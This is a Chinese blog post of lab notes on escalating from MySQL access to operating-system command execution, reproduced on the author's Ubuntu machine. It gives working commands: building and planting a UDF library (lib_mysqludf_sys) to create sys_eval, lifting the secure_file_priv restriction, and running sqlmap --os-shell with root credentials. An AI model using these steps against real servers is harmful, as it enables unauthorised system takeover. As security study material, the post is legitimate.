美文网首页
mysql的提权的四种方案

mysql的提权的四种方案

作者: 喵了个咪0 | 来源:发表于2018-12-03 19:54 被阅读0次

    mysql的提权原理就是让mysql能够执行系统命令,

    而对与mysql的提权主要分为两种:MOF提权和UDF提权

    第一种:

    参考文献:

    https://www.cnblogs.com/zhuyp1015/p/3561470.html

    https://www.cnblogs.com/mmx8861/p/9062363.html

    https://www.cnblogs.com/ghc666/p/8609067.html

    https://www.jianshu.com/p/83855733c749

    http://vinc.top/2017/04/19/mysql-udf提权linux平台/

    https://blog.csdn.net/qq_28921653/article/details/54174341

    1实验环境:

    ubuntu 18.04tl

    首相需要安装mysql,在ubuntu上按装挺简单的的,只需要几个命令就ok了,顺便记一下mysql的密码修改。

    sudo apt-get update

    sudo apt-get install mysql-server

    apt-get install mysql-client

    sudo apt-get install libmysqlclient-dev

    myslq

    set password for root@localhost = password('密码'); 

    现在mysql就安装成功了,接下来就是关于mysql的提权问题

    若mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/

    若mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\

    这里我用的是ubuntu进行复现的,mysql版本>5.2

    下载lib_mysqludf_sys程序

    github:https://github.com/mysqludf/lib_mysqludf_sys

    编译获取lib_mysqludf_sys.so文件

    $ gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so

    如果出现缺少文件的报错

    $ sudo apt-get install libmysql++-dev

    网上说的可以直接在linux里下载,但是在实验中,缺出现了不知名的错误,我才用的是在windows 里下载解压,然后在传上去

    先查看需要插入的路径

    mysql> show variables like '%plugin%';

    将下载的lib_mysqludf_sys.so文件以16进制写入到plugin_dir路径中,但是ubuntu有一个安全路径,只能写到那个里面,要是调用的话只能是在plugin这个路径下调用,所以直接复制粘贴进去了

    mysql> select unhex('7F454C************此处省略n个字9*****') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';

    (详情请见https://www.jianshu.com/p/83855733c749)

    此时出现一个问题:

    ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

    经查询后发现,mysql 默认对导出的目录有权限限制,也就是说使用命令行进行导出的时候,需要指定目录进行操作,

    https://blog.csdn.net/u011677147/article/details/64129606

    https://blog.csdn.net/HHTNAN/article/details/78520511

    我们执行

    show global variables like '%secure%';

    发现

    secure_file_priv这个参数用来限制数据导入和导出操作的效果

    如果这个参数为NULL,MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入

    而我们查看ubuntu的/usr/lib,发现没有该文件,也就是文件为空,所以我们要修改这个值,这也就意味这在mysql 版本为5.7.6 版本后,若管理员未设置该值时,我们就不能进行导入和导出操作。若是挖洞碰见这个了,目前以我的水平估计就到此位置了。

    有位大佬是这样解决这个问题的,当然我按照这个没有解决,由于这一步的原理就是将那个lib_mysqludf_sys.so重命名写入/usr.lib/mysql/plugin 路径下的,我就直接将文件粘贴过去了

    secure_file_priv

      1、限制mysqld 不允许导入 | 导出

        mysqld –secure_file_prive=null

      2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下

        mysqld –secure_file_priv=/tmp/

      3、不对mysqld 的导入 | 导出做限制

    cat /etc/my.cnf

        [mysqld]

        secure_file_priv 

    当然了,现在修改这个参数

    修改/etc/mysql/mysql.conf.d/mysqld.cnf文件

    在末尾添加一句secure_file_priv=即可将数据导出到任意目录

    执行第二步

    创建需要用的函数

    mysql> create function sys_eval returns string soname 'mysqludf.so';

    调用函数

    mysql> select sys_eval('whoami');

    删除函数

    mysql> drop function sys_eval;

    查看当前用户权限:select * from mysql.user where user=substring_index(user(),'@',1);

    @@version_compile_os展示MySQL结构,@@ version_compile_machine展示操作系统的结构:select @@version_compile_os, @@version_compile_machine;

    限制条件:

    1)mysql root账号弱口令

    2)mysql启动账户需要有插件目录的写入权限,例如yum安装的mysql

    [root@template tmp]# ls -ald /usr/lib64/mysql/plugin

    drwxr-xr-x. 2 root root 4096 4月  25 08:33 /usr/lib64/mysql/plugin

    而mysql的默认启动账户是mysql,是没有写入权限的。

    第二种方法:

    另外MySQL 5.x中增加了system命令,可以直接执行系统命令。

    mysql> system whoami;

    第三种方法:

    (1)sqlmap通过root的账号和密码连接上远程的数据库

    (2)sqlmap将udf文件夹下对应系统平台的64位或者32位的动态链接库文件上传到远程数据库的mysql/plugin/目录下

    (3)sqlmap用过已经上传的动态链接库文件来调用system函数来执行用户输入的命令

    root@kali:~# sqlmap -d "mysql://root:Hehe123456@192.168.192.120:3306/test" --os-shell

    剩下的就是输入命令了

    第四种:

    MOF提权

    暂时不会,相关链接:http://www.cnblogs.com/R4v3n/articles/9025499.html

    日后会跟新

    相关文章

      网友评论

          本文标题:mysql的提权的四种方案

          本文链接:https://www.haomeiwen.com/subject/admecqtx.html